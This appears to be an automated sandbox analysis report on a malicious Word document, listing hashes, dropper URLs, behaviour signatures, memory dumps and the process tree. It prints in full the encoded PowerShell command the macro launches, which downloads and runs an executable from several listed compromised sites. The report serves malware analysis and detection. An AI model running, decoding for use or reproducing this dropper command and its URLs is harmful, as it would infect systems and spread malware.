Analysis

  • max time kernel
    118s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    31-05-2024 05:41

General

  • Target

    861e931250bd3850d369850268d5f048_JaffaCakes118.doc

  • Size

    187KB

  • MD5

    861e931250bd3850d369850268d5f048

  • SHA1

    bd5bb0cf6b352ceb8aaeac9139f0b4d429b8617c

  • SHA256

    8f96a4ee289f6093a2f1afe8c584cba4a802c054ef22fde70d451254191872fd

  • SHA512

    26625449ef7141e5027d8bb5a2aa9c85646595d3ef974349800aa566e1d694c5e126151eb742b5ca8bd36bd41c4af17908a618d74c19c530d6763f51a95eff53

  • SSDEEP

    1536:RGGGGGGGGGG2xJLEt+LaaGGGGGGGGGGjLo9xilATmd8YkYeT/EA8sap8cjufajnv:vrfrzOH98ipgmh5qYz

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://dtyl.shop/wp-content/W68Nx/

exe.dropper

https://star-speed.vip/wp-admin/U2jRIg/

exe.dropper

https://cshub123.cn/wp-admin/Gajs/

exe.dropper

https://viettellogistics.com.vn/wp-content/oS4/

exe.dropper

http://cococat.se/wp-admin/2Oaf/

exe.dropper

http://andresirjan.ir/wp-admin/JSH/

exe.dropper

https://sptrade.com.br/wp-includes/iFZOvL/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 9 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\861e931250bd3850d369850268d5f048_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1420
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2500
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -encod JABDADIAdgBhAGkAagA1AD0AKAAoACcAUAAnACsAJwBjAHUAJwApACsAJwB1ACcAKwAoACcAdAAnACsAJwByAHUAJwApACkAOwAuACgAJwBuAGUAdwAtACcAKwAnAGkAdAAnACsAJwBlAG0AJwApACAAJABlAG4AdgA6AFUAcwBFAFIAcABSAG8ARgBJAEwARQBcAEgAWQAzAHkAdAAzAGkAXABTADgASwA0ADkAdQBtAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQBSAGUAYwB0AE8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBDAFUAYABSAEkAdABgAFkAUAByAG8AYABUAG8AYwBvAEwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAnACkAKwAoACcAMQAyACwAIAB0ACcAKwAnAGwAcwAnACkAKwAoACcAMQAnACsAJwAxACwAJwApACsAKAAnACAAdAAnACsAJwBsACcAKQArACcAcwAnACkAOwAkAFMAawB5AHEANwBoAG0AIAA9ACAAKAAnAFgAMgAnACsAKAAnADgAJwArACcAegAwADMAJwApACsAJwAxAGQAJwApADsAJABZAHQAaAB4AGIAcgBmAD0AKAAoACcATwAnACsAJwBuAGUAJwApACsAKAAnAHcAJwArACcAbQA5ACcAKQArACcAYgAnACkAOwAkAFcAZABhAGkAZAA4ADYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwB3ACcAKwAnAHYATwAnACkAKwAoACcASAB5ADMAJwArACcAeQB0ACcAKQArACgAJwAzAGkAJwArACcAdwB2ACcAKQArACgAJwBPACcAKwAnAFMAOAAnACkAKwAoACcAawA0ACcAKwAnADkAJwApACsAKAAnAHUAbQAnACsAJwB3ACcAKQArACcAdgBPACcAKQAuACIAUgBlAHAATABhAGAAQwBlACIAKAAoACcAdwAnACsAJwB2AE8AJwApACwAWwBzAHQAcgBJAG4AZwBdAFsAYwBoAGEAUgBdADkAMgApACkAKwAkAFMAawB5AHEANwBoAG0AKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABOAGIAcQBpAHkAdABpAD0AKAAnAFQAJwArACgAJwA4ACcAKwAnAGgAeQB4AGcAJwApACsAJwBtACcAKQA7ACQAVwB0ADAAcgBlAGkAcwA9ACYAKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBlAFQALgB3AEUAYgBjAEwAaQBlAE4AdAA7ACQARQBxAHEAagA1AGgAOQA9ACgAKAAnAGgAdAAnACsAJwB0ACcAKQArACcAcAA6ACcAKwAoACcALwAvAGQAJwArACcAdAB5ACcAKQArACgAJwBsAC4AcwBoAG8AcAAvAHcAJwArACcAcAAtACcAKwAnAGMAbwBuAHQAZQBuACcAKwAnAHQALwBXADYAOAAnACkAKwAoACcATgB4ACcAKwAnAC8AKgBoAHQAdAAnACkAKwAnAHAAJwArACcAcwAnACsAKAAnADoALwAvAHMAJwArACcAdABhAHIAJwArACcALQAnACkAKwAnAHMAJwArACgAJwBwACcAKwAnAGUAZQBkAC4AJwArACcAdgBpACcAKQArACcAcAAnACsAJwAvACcAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGEAJwArACcAZAAnACsAJwBtAGkAbgAvAFUAJwArACcAMgAnACsAJwBqAFIASQBnAC8AJwApACsAKAAnACoAaAAnACsAJwB0ACcAKQArACcAdABwACcAKwAoACcAcwA6ACcAKwAnAC8ALwAnACkAKwAnAGMAJwArACgAJwBzAGgAdQAnACsAJwBiADEAJwApACsAKAAnADIAMwAnACsAJwAuAGMAbgAvACcAKwAnAHcAcAAtACcAKQArACcAYQAnACsAKAAnAGQAbQBpAG4ALwBHACcAKwAnAGEAJwArACcAagBzACcAKQArACcALwAqACcAKwAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAoACcAcwA6AC8AJwArACcALwAnACkAKwAoACcAdgBpAGUAdAB0AGUAbABsACcAKwAnAG8AJwArACcAZwBpAHMAdABpACcAKQArACcAYwBzACcAKwAoACcALgBjACcAKwAnAG8AJwArACcAbQAuAHYAJwApACsAJwBuAC8AJwArACcAdwAnACsAKAAnAHAAJwArACcALQAnACsAJwBjAG8AbgB0AGUAbgB0ACcAKQArACgAJwAvAG8AUwA0ACcAKwAnAC8AJwApACsAKAAnACoAaAB0AHQAcAA6AC8ALwBjAG8AJwArACcAYwAnACsAJwBvACcAKQArACgAJwBjAGEAJwArACcAdAAuAHMAZQAvACcAKQArACgAJwB3ACcAKwAnAHAALQAnACkAKwAoACcAYQAnACsAJwBkAG0AJwApACsAKAAnAGkAbgAvADIAJwArACcATwAnACkAKwAnAGEAJwArACgAJwBmACcAKwAnAC8AKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAcAA6AC8ALwAnACsAJwBhACcAKQArACgAJwBuAGQAJwArACcAcgAnACkAKwAoACcAZQAnACsAJwBzAGkAJwApACsAKAAnAHIAagBhAG4ALgAnACsAJwBpACcAKQArACgAJwByAC8AdwAnACsAJwBwACcAKQArACcALQAnACsAKAAnAGEAZABtAGkAbgAnACsAJwAvACcAKwAnAEoAUwBIACcAKwAnAC8AKgAnACsAJwBoAHQAJwApACsAJwB0ACcAKwAoACcAcABzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBzAHAAdAByAGEAZAAnACsAJwBlACcAKQArACgAJwAuAGMAbwAnACsAJwBtACcAKQArACcALgBiACcAKwAoACcAcgAvAHcAcAAnACsAJwAtACcAKQArACcAaQAnACsAJwBuACcAKwAnAGMAJwArACgAJwBsAHUAZABlAHMALwAnACsAJwBpAEYAJwArACcAWgBPAHYATAAnACkAKwAnAC8AJwApAC4AIgBzAFAAYABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE0AZQBrADEAeAB3AHUAPQAoACgAJwBLAHcAJwArACcAXwBlACcAKQArACcAcAAnACsAJwA5AHUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAVABpADgAaABuADEAcAAgAGkAbgAgACQARQBxAHEAagA1AGgAOQApAHsAdAByAHkAewAkAFcAdAAwAHIAZQBpAHMALgAiAGQAYABvAHcAYABOAGwATwBhAEQAZgBgAEkAbABFACIAKAAkAFQAaQA4AGgAbgAxAHAALAAgACQAVwBkAGEAaQBkADgANgApADsAJABXADYAcAAxAGoANwBoAD0AKAAoACcASAA1ACcAKwAnADgAZQAnACkAKwAoACcAagByACcAKwAnAGwAJwApACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQAVwBkAGEAaQBkADgANgApAC4AIgBMAGUATgBgAEcAdABoACIAIAAtAGcAZQAgADIANwAxADkANAApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtAEkAJwArACcAdABlAG0AJwApACgAJABXAGQAYQBpAGQAOAA2ACkAOwAkAEMAZQBoAHkAbABoADkAPQAoACcAVwA1ACcAKwAoACcAYwB1AGQAJwArACcAMAA0ACcAKQApADsAYgByAGUAYQBrADsAJABLADQAMwAzAHgANAB3AD0AKAAoACcAVwBxACcAKwAnADUAJwApACsAJwAxACcAKwAoACcAcAAnACsAJwBtADkAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAZQBsADQAbQBlAHQAPQAoACgAJwBNACcAKwAnAGkAbwAnACkAKwAnAGMAJwArACgAJwBmACcAKwAnADcAaAAnACkAKQA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2460

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      4dc62e2be311980669799a92623d1756

      SHA1

      d6356ce53beaa6d4d6d7d2a9b78b629d929ae841

      SHA256

      97e3783a6095dd5a3e7fdbef64a47ce59d61a5e0fd3e598fff0a66fcba276dee

      SHA512

      d97154d36b14289712a0661be131ef7f14639581fc7747b18e6db6ada8fedfd55ca11c92ce9c6152afc9dd4783b0b77ae0c399fbfe27e39b9ce1cf291321ac0d

    • memory/1420-20-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-66-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-6-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-7-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-8-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-10-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-17-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-11-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-23-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-12-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-15-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-18-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-21-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-19-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-16-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-14-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-13-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-0-0x000000002FFA1000-0x000000002FFA2000-memory.dmp

      Filesize

      4KB

    • memory/1420-9-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-2-0x0000000070EAD000-0x0000000070EB8000-memory.dmp

      Filesize

      44KB

    • memory/1420-29-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-26-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-22-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-31-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-30-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-24-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-28-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-27-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-32-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-65-0x0000000070EAD000-0x0000000070EB8000-memory.dmp

      Filesize

      44KB

    • memory/1420-25-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-44-0x0000000070EAD000-0x0000000070EB8000-memory.dmp

      Filesize

      44KB

    • memory/1420-46-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-47-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/1420-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1420-64-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2460-39-0x0000000002710000-0x0000000002718000-memory.dmp

      Filesize

      32KB

    • memory/2460-38-0x000000001B590000-0x000000001B872000-memory.dmp

      Filesize

      2.9MB